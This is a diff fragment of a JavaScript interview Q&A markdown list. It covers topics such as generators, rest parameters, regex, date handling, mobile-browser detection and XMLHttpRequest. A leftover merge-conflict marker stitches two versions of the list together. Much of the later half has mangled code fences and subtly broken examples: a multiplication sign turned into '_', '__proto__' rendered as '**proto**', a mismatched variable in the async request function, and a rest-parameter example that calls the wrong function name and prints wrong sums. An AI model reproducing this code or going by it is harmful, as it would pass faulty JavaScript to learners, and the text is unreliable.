+        if (new.target) {
+           console.log('called with new');
+        } else {
+           console.log('not called with new');
+        }
+     }
+
+     new Myfunc(); // called with new
+     Myfunc(); // not called with new
+     Myfunc.call({}); not called with new
+     ```
+
+414. What are the differences between arguments object and rest parameter
+
+     There are three main differences between arguments object and rest parameters
+
+     1. The arguments object is an array-like but not an array. Whereas the rest parameters are array instances.
+     2. The arguments object does not support methods such as sort, map, forEach, or pop. Whereas these methods can be used in rest parameters.
+     3. The rest parameters are only the ones that haven't been given a separate name, while the arguments object contains all arguments passed to the function
+
+415. What are the differences between spread operator and rest parameter
+
+     Rest parameter collects all remaining elements into an array. Whereas Spread operator allows iterables( arrays / objects / strings ) to be expanded into single arguments/elements. i.e, Rest parameter is opposite to the spread operator.
+
+416. What are the different kinds of generators
+
+     There are five kinds of generators,
+
+     1. **Generator function declaration:**
+
+         ```js
+         function* myGenFunc() {
+             yield 1;
+             yield 2;
+             yield 3;
+         }
+         const genObj = myGenFunc();
+         ```
+
+     2. **Generator function expressions:**
+
+         ```js
+         const myGenFunc = function* () {
+             yield 1;
+             yield 2;
+             yield 3;
+         };
+         const genObj = myGenFunc();
+         ```
+
+     3. **Generator method definitions in object literals:**
+
+         ```js
+         const myObj = {
+             *myGeneratorMethod() {
+                 yield 1;
+                 yield 2;
+                 yield 3;
+             }
+         };
+         const genObj = myObj.myGeneratorMethod();
+         ```
+
+     4. **Generator method definitions in class:**
+
+         ```js
+         class MyClass {
+             *myGeneratorMethod() {
+                 yield 1;
+                 yield 2;
+                 yield 3;
+             }
+         }
+         const myObject = new MyClass();
+         const genObj = myObject.myGeneratorMethod();
+         ```
+
+     5. **Generator as a computed property:**
+
+         ```js
+         const SomeObj = {
+             *[Symbol.iterator]() {
+                 yield 1;
+                 yield 2;
+                 yield 3;
+             }
+         };
+
+         console.log(Array.from(SomeObj)); // [ 1, 2, 3 ]
+         ```
+
+417. What are the built-in iterables
+
+     Below are the list of built-in iterables in javascript,
+
+     1. Arrays and TypedArrays
+     2. Strings: Iterate over each character or Unicode code-points
+     3. Maps: iterate over its key-value pairs
+     4. Sets: iterates over their elements
+     5. arguments: An array-like special variable in functions
+     6. DOM collection such as NodeList
+
+418. What are the differences between for...of and for...in statements
+
+     Both for...in and for...of statements iterate over js data structures. The only difference is over what they iterate:
+
+     1. for..in iterates over all enumerable property keys of an object
+     2. for..of iterates over the values of an iterable object.
+
+     Let's explain this difference with an example,
+
+     ```js
+     let arr = ['a', 'b', 'c'];
+
+     arr.newProp = 'newVlue';
+
+     // key are the property keys
+     for (let key in arr) {
+         console.log(key);
+     }
+
+     // value are the property values
+     for (let value of arr) {
+         console.log(value);
+     }
+     ```
+
+     Since for..in loop iterates over the keys of the object, the first loop logs 0, 1, 2 and newProp while iterating over the array object. The for..of loop iterates over the values of a arr data structure and logs a, b, c in the console.
+
+419. How do you define instance and non-instance properties
+
+     The Instance properties must be defined inside of class methods. For example, name and age properties defined insider constructor as below,
+
+     ```js
+     class Person {
+         constructor(name, age) {
+             this.name = name;
+             this.age = age;
+         }
+     }
+     ```
+
+     But Static(class) and prototype data properties must be defined outside of the ClassBody declaration. Let's assign the age value for Person class as below,
+
+     ```js
+     Person.staticAge = 30;
+     Person.prototype.prototypeAge = 40;
+     ```
+
+420. What is the difference between isNaN and Number.isNaN?
+
+     1. **isNaN**: The global function `isNaN` converts the argument to a Number and returns true if the resulting value is NaN.
+     2. **Number.isNaN**: This method does not convert the argument. But it returns true when the type is a Number and value is NaN.
+
+     Let's see the difference with an example,
+
+     ```js
+     isNaN('hello'); // true
+     Number.isNaN('hello'); // false
+     ```
+
+421. How to invoke an IIFE without any extra brackets?
+
+     Immediately Invoked Function Expressions(IIFE) requires a pair of parenthesis to wrap the function which contains set of statements.
+
+     ```js
+     (function (dt) {
+         console.log(dt.toLocaleTimeString());
+     })(new Date());
+     ```
+
+     Since both IIFE and void operator discard the result of an expression, you can avoid the extra brackets using `void operator` for IIFE as below,
+
+     ```js
+     void (function (dt) {
+         console.log(dt.toLocaleTimeString());
+     })(new Date());
+     ```
+
+422. Is that possible to use expressions in switch cases?
+
+     You might have seen expressions used in switch condition but it is also possible to use for switch cases by assigning true value for the switch condition. Let's see the weather condition based on temparature as an example,
+
+     ```js
+     const weather = (function getWeather(temp) {
+         switch (true) {
+             case temp < 0:
+                 return 'freezing';
+             case temp < 10:
+                 return 'cold';
+             case temp < 24:
+                 return 'cool';
+             default:
+                 return 'unknown';
+         }
+     })(10);
+     ```
+
+423. What is the easiest way to ignore promise errors?
+
+     The easiest and safest way to ignore promise errors is void that error. This approach is ESLint friendly too.
+
+     ```js
+     await promise.catch((e) => void e);
+     ```
+
+424. How do style the console output using CSS?
+
+     You can add CSS styling to the console output using the CSS format content specifier %c. The console string message can be appended after the specifier and CSS style in another argument. Let's print the red the color text using console.log and CSS specifier as below,
+
+     ```js
+     console.log('%cThis is a red text', 'color:red');
+     ```
+
+     It is also possible to add more styles for the content. For example, the font-size can be modified for the above text
+
+     ```js
+     console.log('%cThis is a red text with bigger font', 'color:red; font-size:20px');
+     ```
+
+425. What is nullish coalescing operator (??)?
+
+     It is a logical operator that returns its right-hand side operand when its left-hand side operand is null or undefined, and otherwise returns its left-hand side operand. This can be contrasted with the logical OR (||) operator, which returns the right-hand side operand if the left operand is any falsy value, not only null or undefined.
+
+     ```js
+     console.log(null ?? true); // true
+     console.log(false ?? true); // false
+     console.log(undefined ?? true); // true
+     ```
+=======
+131.    How do you display the current date in javascript
+
+             You can use `new Date()` to generate a new Date object containing the current date and time. For example, let's display the current date in mm/dd/yyyy
+
+             ```js
+
+        //
+        var today = new Date();
+        var dd = String(today.getDate()).padStart(2, '0');
+        var mm = String(today.getMonth() + 1).padStart(2, '0'); //January is 0!
+        var yyyy = today.getFullYear();
+
+             today = mm + '/' + dd + '/' + yyyy;
+             document.write(today);
+             ```
+
+132.    How do you compare two date objects
+
+             You need to use date.getTime() method to compare date values instead of comparison operators (==, !=, ===, and !== operators)
+
+             ```js
+
+        //
+        var d1 = new Date();
+        var d2 = new Date(d1);
+        console.log(d1.getTime() === d2.getTime()); //True
+        console.log(d1 === d2); // False
+
+        ```
+
+        ```
+
+133.    How do you check if a string starts with another string
+
+             You can use ECMAScript 6's `String.prototype.startsWith()` method to check if a string starts with another string or not. But it is not yet supported in all browsers. Let's see an example to see this usage,
+
+             ```js
+
+        //
+        'Good morning'.startsWith('Good'); // true
+        'Good morning'.startsWith('morning'); // false
+
+        ```
+
+        ```
+
+134.    How do you trim a string in javascript
+
+             JavaScript provided a trim method on string types to trim any whitespaces present at the beginning or ending of the string.
+
+             ```js
+
+        //
+        ' Hello World '.trim(); //Hello World
+
+        ````
+
+             If your browser(<IE9) doesn't support this method then you can use below polyfill.
+
+             ```js
+
+        //
+        if (!String.prototype.trim) {
+        (function () {
+        // Make sure we trim BOM and NBSP
+        var rtrim = /^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g;
+        String.prototype.trim = function () {
+        return this.replace(rtrim, '');
+        };
+        })();
+        }
+        ````
+
+135.    How do you add a key value pair in javascript
+
+             There are two possible solutions to add new properties to an object. Let's take a simple object to explain these solutions.
+
+             ```js
+
+        //
+        var object = {
+        key1: value1,
+        key2: value2
+        };
+
+        ````
+
+             1. **Using dot notation:** This solution is useful when you know the name of the property
+
+             ```js
+
+        //
+        object.key3 = 'value3';
+        ````
+
+             1. **Using square bracket notation:** This solution is useful when the name of the property is dynamically determined.
+
+             ```js
+
+        //
+        obj['key3'] = 'value3';
+
+        ```
+
+        ```
+
+136.    Is the !-- notation represents a special operator
+
+        No,that's not a special operator. But it is a combination of 2 standard operators one after the other,
+
+        1. A logical not (!)
+        2. A prefix decrement (--)
+
+        At first, the value decremented by one and then tested to see if it is equal to zero or not for determining the truthy/falsy value.
+
+137.    How do you assign default values to variables
+
+             You can use the logical or operator `||` in an assignment expression to provide a default value. The syntax looks like as below,
+
+             ```js
+
+        //
+        var a = b || c;
+
+        ```
+
+             As per the above expression, variable 'a 'will get the value of 'c' only if 'b' is falsy (if is null, false, undefined, 0, empty string, or NaN), otherwise 'a' will get the value of 'b'.
+
+        ```
+
+138.    How do you define multiline strings
+
+             You can define multiline string literals using the '\\' character followed by line terminator.
+
+             ```js
+
+        //
+        var str =
+        'This is a \
+         very lengthy \
+         sentence!';
+
+        ```
+
+             But if you have a space after the '\\' character, the code will look exactly the same, but it will raise a SyntaxError.
+
+        ```
+
+139.    What is an app shell model
+
+        An application shell (or app shell) architecture is one way to build a Progressive Web App that reliably and instantly loads on your users' screens, similar to what you see in native applications. It is useful for getting some initial HTML to the screen fast without a network.
+
+140.    Can we define properties for functions
+
+             Yes, We can define properties for functions because functions are also objects.
+
+             ```js
+
+        //
+        fn = function (x) {
+        //Function code goes here
+        };
+
+             fn.name = 'John';
+
+             fn.profile = function (y) {
+                 //Profile code goes here
+             };
+             ```
+
+141.    What is the way to find the number of parameters expected by a function
+
+             You can use `function.length` syntax to find the number of parameters expected by a function. Let's take an example of `sum` function to calculate the sum of numbers,
+
+             ```js
+
+        //
+        function sum(num1, num2, num3, num4) {
+        return num1 + num2 + num3 + num4;
+        }
+        sum.length; // 4 is the number of parameters expected.
+
+        ```
+
+        ```
+
+142.    What is a polyfill
+
+        A polyfill is a piece of JS code used to provide modern functionality on older browsers that do not natively support it. For example, Silverlight plugin polyfill can be used to mimic the functionality of an HTML Canvas element on Microsoft Internet Explorer 7.
+
+143.    What are break and continue statements
+
+             The break statement is used to "jump out" of a loop. i.e, It breaks the loop and continues executing the code after the loop.
+
+             ```js
+
+        //
+        for (i = 0; i < 10; i++) {
+        if (i === 5) {
+        break;
+        }
+        text += 'Number: ' + i + '<br>';
+        }
+
+        ````
+
+             The continue statement is used to "jump over" one iteration in the loop. i.e, It breaks one iteration (in the loop), if a specified condition occurs, and continues with the next iteration in the loop.
+
+             ```js
+
+        //
+        for (i = 0; i < 10; i++) {
+        if (i === 5) {
+        continue;
+        }
+        text += 'Number: ' + i + '<br>';
+        }
+        ````
+
+144.    What are js labels
+
+             The label statement allows us to name loops and blocks in JavaScript. We can then use these labels to refer back to the code later. For example, the below code with labels avoids printing the numbers when they are same,
+
+             ```js
+
+        //
+        var i, j;
+
+             loop1: for (i = 0; i < 3; i++) {
+                 loop2: for (j = 0; j < 3; j++) {
+                     if (i === j) {
+                         continue loop1;
+                     }
+                     console.log('i = ' + i + ', j = ' + j);
+                 }
+             }
+
+             // Output is:
+             //   "i = 1, j = 0"
+             //   "i = 2, j = 0"
+             //   "i = 2, j = 1"
+             ```
+
+145.    What are the benefits of keeping declarations at the top
+
+        It is recommended to keep all declarations at the top of each script or function. The benefits of doing this are,
+
+        1. Gives cleaner code
+        2. It provides a single place to look for local variables
+        3. Easy to avoid unwanted global variables
+        4. It reduces the possibility of unwanted re-declarations
+
+146.    What are the benefits of initializing variables
+
+        It is recommended to initialize variables because of the below benefits,
+
+        1. It gives cleaner code
+        2. It provides a single place to initialize variables
+        3. Avoid undefined values in the code
+
+147.    What are the recommendations to create new object
+
+             It is recommended to avoid creating new objects using `new Object()`. Instead you can initialize values based on it's type to create the objects.
+
+             1. Assign {} instead of new Object()
+             2. Assign "" instead of new String()
+             3. Assign 0 instead of new Number()
+             4. Assign false instead of new Boolean()
+             5. Assign [] instead of new Array()
+             6. Assign /()/ instead of new RegExp()
+             7. Assign function (){} instead of new Function()
+
+             You can define them as an example,
+
+             ```js
+
+        //
+        var v1 = {};
+        var v2 = '';
+        var v3 = 0;
+        var v4 = false;
+        var v5 = [];
+        var v6 = /()/;
+        var v7 = function () {};
+
+        ```
+
+        ```
+
+148.    How do you define JSON arrays
+
+             JSON arrays are written inside square brackets and arrays contain javascript objects. For example, the JSON array of users would be as below,
+
+             ```js
+
+        //
+        "users":[
+        {"firstName":"John", "lastName":"Abrahm"},
+        {"firstName":"Anna", "lastName":"Smith"},
+        {"firstName":"Shane", "lastName":"Warn"}
+        ]
+
+        ```
+
+        ```
+
+149.    How do you generate random integers
+
+             You can use Math.random() with Math.floor() to return random integers. For example, if you want generate random integers between 1 to 10, the multiplication factor should be 10,
+
+             ```js
+
+        //
+        Math.floor(Math.random() _ 10) + 1; // returns a random integer from 1 to 10
+        Math.floor(Math.random() _ 100) + 1; // returns a random integer from 1 to 100
+
+        ```
+
+             **Note:** Math.random() returns a random number between 0 (inclusive), and 1 (exclusive)
+
+        ```
+
+150.    Can you write a random integers function to print integers with in a range
+
+             Yes, you can create a proper random function to return a random number between min and max (both included)
+
+             ```js
+
+        //
+        function randomInteger(min, max) {
+        return Math.floor(Math.random() \* (max - min + 1)) + min;
+        }
+        randomInteger(1, 100); // returns a random integer from 1 to 100
+        randomInteger(1, 1000); // returns a random integer from 1 to 1000
+
+        ```
+
+        ```
+
+151.    What is tree shaking
+
+        Tree shaking is a form of dead code elimination. It means that unused modules will not be included in the bundle during the build process and for that it relies on the static structure of ES2015 module syntax,( i.e. import and export). Initially this has been popularized by the ES2015 module bundler `rollup`.
+
+152.    What is the need of tree shaking
+
+        Tree Shaking can significantly reduce the code size in any application. i.e, The less code we send over the wire the more performant the application will be. For example, if we just want to create a "Hello World" Application using SPA frameworks then it will take around a few MBs, but by tree shaking it can bring down the size to just a few hundred KBs. Tree shaking is implemented in Rollup and Webpack bundlers.
+
+153.    Is it recommended to use eval
+
+        No, it allows arbitrary code to be run which causes a security problem. As we know that the eval() function is used to run text as code. In most of the cases, it should not be necessary to use it.
+
+154.    What is a Regular Expression
+
+             A regular expression is a sequence of characters that forms a search pattern. You can use this search pattern for searching data in a text. These can be used to perform all types of text search and text replace operations. Let's see the syntax format now,
+
+             ```js
+
+        //
+        /pattern/modifiers;
+
+        ````
+
+             For example, the regular expression or search pattern with case-insensitive username would be,
+
+             ```js
+
+        //
+        /John/i;
+        ````
+
+155.    What are the string methods available in Regular expression
+
+             Regular Expressions has two string methods: search() and replace().
+             The search() method uses an expression to search for a match, and returns the position of the match.
+
+             ```js
+
+        //
+        var msg = 'Hello John';
+        var n = msg.search(/John/i); // 6
+
+        ````
+
+             The replace() method is used to return a modified string where the pattern is replaced.
+
+             ```js
+
+        //
+        var msg = 'Hello John';
+        var n = msg.replace(/John/i, 'Buttler'); // Hello Buttler
+        ````
+
+156.    What are modifiers in regular expression
+
+             Modifiers can be used to perform case-insensitive and global searches. Let's list down some of the modifiers,
+
+             | Modifier | Description                                             |
+             |----------|---------------------------------------------------------|
+             | i        | Perform case-insensitive matching                       |
+             | g        | Perform a global match rather than stops at first match |
+             | m        | Perform multiline matching                              |
+
+             Let's take an example of global modifier,
+
+             ```js
+
+        //
+        var text = 'Learn JS one by one';
+        var pattern = /one/g;
+        var result = text.match(pattern); // one,one
+
+        ```
+
+        ```
+
+157.    What are regular expression patterns
+
+        Regular Expressions provide a group of patterns in order to match characters. Basically they are categorized into 3 types,
+
+        1. **Brackets:** These are used to find a range of characters.
+           For example, below are some use cases,
+            1. [abc]: Used to find any of the characters between the brackets(a,b,c)
+            2. [0-9]: Used to find any of the digits between the brackets
+            3. (a|b): Used to find any of the alternatives separated with |
+        2. **Metacharacters:** These are characters with a special meaning
+           For example, below are some use cases,
+            1. \\d: Used to find a digit
+            2. \\s: Used to find a whitespace character
+            3. \\b: Used to find a match at the beginning or ending of a word
+        3. **Quantifiers:** These are useful to define quantities
+           For example, below are some use cases,
+            1. n+: Used to find matches for any string that contains at least one n
+            2. n\*: Used to find matches for any string that contains zero or more occurrences of n
+            3. n?: Used to find matches for any string that contains zero or one occurrences of n
+
+158.    What is a RegExp object
+
+             RegExp object is a regular expression object with predefined properties and methods. Let's see the simple usage of RegExp object,
+
+             ```js
+
+        //
+        var regexp = new RegExp('\\w+');
+        console.log(regexp);
+        // expected output: /\w+/
+
+        ```
+
+        ```
+
+159.    How do you search a string for a pattern
+
+             You can use the test() method of regular expression in order to search a string for a pattern, and return true or false depending on the result.
+
+             ```js
+
+        //
+        var pattern = /you/;
+        console.log(pattern.test('How are you?')); //true
+
+        ```
+
+        ```
+
+160.    What is the purpose of exec method
+
+             The purpose of exec method is similar to test method but it executes a search for a match in a specified string and returns a result array, or null instead of returning true/false.
+
+             ```js
+
+        //
+        var pattern = /you/;
+        console.log(pattern.exec('How are you?')); //["you", index: 8, input: "How are you?", groups: undefined]
+
+        ```
+
+        ```
+
+161.    How do you change the style of a HTML element
+
+             You can change inline style or classname of a HTML element using javascript
+
+             1. **Using style property:** You can modify inline style using style property
+
+             ```js
+
+        //
+        document.getElementById('title').style.fontSize = '30px';
+
+        ````
+
+             1. **Using ClassName property:** It is easy to modify element class using className property
+
+             ```js
+
+        //
+        document.getElementById('title').className = 'custom-title';
+        ````
+
+162.    What would be the result of 1+2+'3'
+
+        The output is going to be `33`. Since `1` and `2` are numeric values, the result of the first two digits is going to be a numeric value `3`. The next digit is a string type value because of that the addition of numeric value `3` and string type value `3` is just going to be a concatenation value `33`.
+
+163.    What is a debugger statement
+
+             The debugger statement invokes any available debugging functionality, such as setting a breakpoint. If no debugging functionality is available, this statement has no effect.
+             For example, in the below function a debugger statement has been inserted. So
+             execution is paused at the debugger statement just like a breakpoint in the script source.
+
+             ```js
+
+        //
+        function getProfile() {
+        // code goes here
+        debugger;
+        // code goes here
+        }
+
+        ```
+
+        ```
+
+164.    What is the purpose of breakpoints in debugging
+
+        You can set breakpoints in the javascript code once the debugger statement is executed and the debugger window pops up. At each breakpoint, javascript will stop executing, and let you examine the JavaScript values. After examining values, you can resume the execution of code using the play button.
+
+165.    Can I use reserved words as identifiers
+
+             No, you cannot use the reserved words as variables, labels, object or function names. Let's see one simple example,
+
+             ```js
+
+        //
+        var else = "hello"; // Uncaught SyntaxError: Unexpected token else
+
+        ```
+
+        ```
+
+166.    How do you detect a mobile browser
+
+             You can use regex which returns a true or false value depending on whether or not the user is browsing with a mobile.
+
+             ```js
+
+        //
+        window.mobilecheck = function () {
+        var mobileCheck = false;
+        (function (a) {
+        if (
+        /(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(
+        a
+        ) ||
+        /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(
+        a.substr(0, 4)
+        )
+        )
+        mobileCheck = true;
+        })(navigator.userAgent || navigator.vendor || window.opera);
+        return mobileCheck;
+        };
+
+        ```
+
+        ```
+
+167.    How do you detect a mobile browser without regexp
+
+             You can detect mobile browsers by simply running through a list of devices and checking if the useragent matches anything. This is an alternative solution for RegExp usage,
+
+             ```js
+
+        //
+        function detectmob() {
+        if (
+        navigator.userAgent.match(/Android/i) ||
+        navigator.userAgent.match(/webOS/i) ||
+        navigator.userAgent.match(/iPhone/i) ||
+        navigator.userAgent.match(/iPad/i) ||
+        navigator.userAgent.match(/iPod/i) ||
+        navigator.userAgent.match(/BlackBerry/i) ||
+        navigator.userAgent.match(/Windows Phone/i)
+        ) {
+        return true;
+        } else {
+        return false;
+        }
+        }
+
+        ```
+
+        ```
+
+168.    How do you get the image width and height using JS
+
+             You can programmatically get the image and check the dimensions(width and height) using Javascript.
+
+             ```js
+
+        //
+        var img = new Image();
+        img.onload = function () {
+        console.log(this.width + 'x' + this.height);
+        };
+        img.src = 'http://www.google.com/intl/en_ALL/images/logo.gif';
+
+        ```
+
+        ```
+
+169.    How do you make synchronous HTTP request
+
+             Browsers provide an XMLHttpRequest object which can be used to make synchronous HTTP requests from JavaScript
+
+             ```js
+
+        //
+        function httpGet(theUrl) {
+        var xmlHttpReq = new XMLHttpRequest();
+        xmlHttpReq.open('GET', theUrl, false); // false for synchronous request
+        xmlHttpReq.send(null);
+        return xmlHttpReq.responseText;
+        }
+
+        ```
+
+        ```
+
+170.    How do you make asynchronous HTTP request
+
+             Browsers provide an XMLHttpRequest object which can be used to make asynchronous HTTP requests from JavaScript by passing the 3rd parameter as true.
+
+             ```js
+
+        //
+        function httpGetAsync(theUrl, callback) {
+        var xmlHttpReq = new XMLHttpRequest();
+        xmlHttpReq.onreadystatechange = function () {
+        if (xmlHttpReq.readyState == 4 && xmlHttpReq.status == 200) callback(xmlHttpReq.responseText);
+        };
+        xmlHttp.open('GET', theUrl, true); // true for asynchronous
+        xmlHttp.send(null);
+        }
+
+        ```
+
+        ```
+
+171.    How do you convert date to another timezone in javascript
+
+             You can use the toLocaleString() method to convert dates in one timezone to another. For example, let's convert current date to British English timezone as below,
+
+             ```js
+
+        //
+        console.log(event.toLocaleString('en-GB', { timeZone: 'UTC' })); //29/06/2019, 09:56:00
+
+        ```
+
+        ```
+
+172.    What are the properties used to get size of window
+
+             You can use innerWidth, innerHeight, clientWidth, clientHeight properties of windows, document element and document body objects to find the size of a window. Let's use them combination of these properties to calculate the size of a window or document,
+
+             ```js
+
+        //
+        var width = window.innerWidth || document.documentElement.clientWidth || document.body.clientWidth;
+
+             var height = window.innerHeight || document.documentElement.clientHeight || document.body.clientHeight;
+             ```
+
+173.    What is a conditional operator in javascript
+
+             The conditional (ternary) operator is the only JavaScript operator that takes three operands which acts as a shortcut for if statements.
+
+             ```js
+
+        //
+        var isAuthenticated = false;
+        console.log(isAuthenticated ? 'Hello, welcome' : 'Sorry, you are not authenticated'); //Sorry, you are not authenticated
+
+        ```
+
+        ```
+
+174.    Can you apply chaining on conditional operator
+
+             Yes, you can apply chaining on conditional operators similar to if … else if … else if … else chain. The syntax is going to be as below,
+
+             ```js
+
+        //
+        function traceValue(someParam) {
+        return condition1 ? value1 : condition2 ? value2 : condition3 ? value3 : value4;
+        }
+
+             // The above conditional operator is equivalent to:
+
+             function traceValue(someParam) {
+                 if (condition1) {
+                     return value1;
+                 } else if (condition2) {
+                     return value2;
+                 } else if (condition3) {
+                     return value3;
+                 } else {
+                     return value4;
+                 }
+             }
+             ```
+
+175.    What are the ways to execute javascript after page load
+
+             You can execute javascript after page load in many different ways,
+
+             1. **window.onload:**
+
+             ```js
+
+        //
+        window.onload = function ...
+
+        ````
+
+             1. **document.onload:**
+
+             ```js
+
+        //
+        document.onload = function ...
+        ````
+
+             1. **body onload:**
+
+             ```js
+
+        //
+        <body onload="script();">
+        ```
+
+176.    What is the difference between proto and prototype
+
+             The `__proto__` object is the actual object that is used in the lookup chain to resolve methods, etc. Whereas `prototype` is the object that is used to build `__proto__` when you create an object with new
+
+             ```js
+
+        //
+        new Employee().**proto** === Employee.prototype;
+        new Employee().prototype === undefined;
+
+        ```
+
+        ```
+
+177.    Give an example where do you really need semicolon
+
+             It is recommended to use semicolons after every statement in JavaScript. For example, in the below case it throws an error ".. is not a function" at runtime due to missing semicolon.
+
+             ```js
+
+        //
+        // define a function
+        var fn = (function () {
+        //...
+        })(
+        // semicolon missing at this line
+
+                 // then execute some code inside a closure
+                 function () {
+                     //...
+                 }
+             )();
+             ```
+
+             and it will be interpreted as
+
+             ```js
+
+        //
+        var fn = (function () {
+        //...
+        })(function () {
+        //...
+        })();
+
+        ```
+
+             In this case, we are passing the second function as an argument to the first function and then trying to call the result of the first function call as a function. Hence, the second function will fail with a "... is not a function" error at runtime.
+
+        ```
+
+178.    What is a freeze method
+
+             The **freeze()** method is used to freeze an object. Freezing an object does not allow adding new properties to an object,prevents from removing and prevents changing the enumerability, configurability, or writability of existing properties. i.e, It returns the passed object and does not create a frozen copy.
+
+             ```js
+
+        //
+        const obj = {
+        prop: 100
+        };
+
+             Object.freeze(obj);
+             obj.prop = 200; // Throws an error in strict mode
+
+             console.log(obj.prop); //100
+             ```
+
+             **Note:** It causes a TypeError if the argument passed is not an object.
+
+179.    What is the purpose of freeze method
+
+        Below are the main benefits of using freeze method,
+
+        1. It is used for freezing objects and arrays.
+        2. It is used to make an object immutable.
+
+180.    Why do I need to use freeze method
+
+        In the Object-oriented paradigm, an existing API contains certain elements that are not intended to be extended, modified, or re-used outside of their current context. Hence it works as the `final` keyword which is used in various languages.
+
+181.    How do you detect a browser language preference
+
+             You can use navigator object to detect a browser language preference as below,
+
+             ```js
+
+        //
+        var language =
+        (navigator.languages && navigator.languages[0]) || // Chrome / Firefox
+        navigator.language || // All browsers
+        navigator.userLanguage; // IE <= 10
+
+             console.log(language);
+             ```
+
+182.    How to convert string to title case with javascript
+
+             Title case means that the first letter of each word is capitalized. You can convert a string to title case using the below function,
+
+             ```js
+
+        //
+        function toTitleCase(str) {
+        return str.replace(/\w\S\*/g, function (txt) {
+        return txt.charAt(0).toUpperCase() + txt.substr(1).toLowerCase();
+        });
+        }
+        toTitleCase('good morning john'); // Good Morning John
+
+        ```
+
+        ```
+
+183.    How do you detect javascript disabled in the page
+
+             You can use the `<noscript>` tag to detect javascript disabled or not. The code block inside `<noscript>` gets executed when JavaScript is disabled, and is typically used to display alternative content when the page generated in JavaScript.
+
+             ```js
+
+        //
+        <script type="javascript">
+        // JS related code goes here
+        </script>
+        <noscript>
+        <a href="next_page.html?noJS=true">JavaScript is disabled in the page. Please click Next Page</a>
+        </noscript>
+        ```
+
+184.    What are various operators supported by javascript
+
+        An operator is capable of manipulating(mathematical and logical computations) a certain value or operand. There are various operators supported by JavaScript as below,
+
+        1. **Arithmetic Operators:** Includes + (Addition),- (Subtraction), \* (Multiplication), / (Division), % (Modulus), + + (Increment) and - - (Decrement)
+        2. **Comparison Operators:** Includes = =(Equal),!= (Not Equal), ===(Equal with type), > (Greater than),> = (Greater than or Equal to),< (Less than),<= (Less than or Equal to)
+        3. **Logical Operators:** Includes &&(Logical AND),||(Logical OR),!(Logical NOT)
+        4. **Assignment Operators:** Includes = (Assignment Operator), += (Add and Assignment Operator), - = (Subtract and Assignment Operator), \*= (Multiply and Assignment), /= (Divide and Assignment), %= (Modules and Assignment)
+        5. **Ternary Operators:** It includes conditional(: ?) Operator
+        6. **typeof Operator:** It uses to find type of variable. The syntax looks like `typeof variable`
+
+185.    What is a rest parameter
+
+             Rest parameter is an improved way to handle function parameters which allows us to represent an indefinite number of arguments as an array. The syntax would be as below,
+
+             ```js
+
+        //
+        function f(a, b, ...theArgs) {
+        // ...
+        }
+
+        ````
+
+             For example, let's take a sum example to calculate on dynamic number of parameters,
+
+             ```js
+
+        //
+        function total(…args){
+        let sum = 0;
+        for(let i of args){
+        sum+=i;
+        }
+        return sum;
+        }
+        console.log(fun(1,2)); //3
+        console.log(fun(1,2,3)); //6
+        console.log(fun(1,2,3,4)); //13
+        console.log(fun(1,2,3,4,5)); //15
+        ````
+
+             **Note:** Rest parameter is added in ES2015 or ES6
+
+186.    What happens if you do not use rest parameter as a last argument
+
+             The rest parameter should be the last argument, as its job is to collect all the remaining arguments into an array. For example, if you define a function like below it doesn't make any sense and will throw an error.
+
+             ```js
+
+        //
+        function someFunc(a,…b,c){
+        //You code goes here
+        return;
+        }
+
+        ```
+
+        ```
+
+187.    What are the bitwise operators available in javascript
+
+        Below are the list of bitwise logical operators used in JavaScript
+
+        1. Bitwise AND ( & )
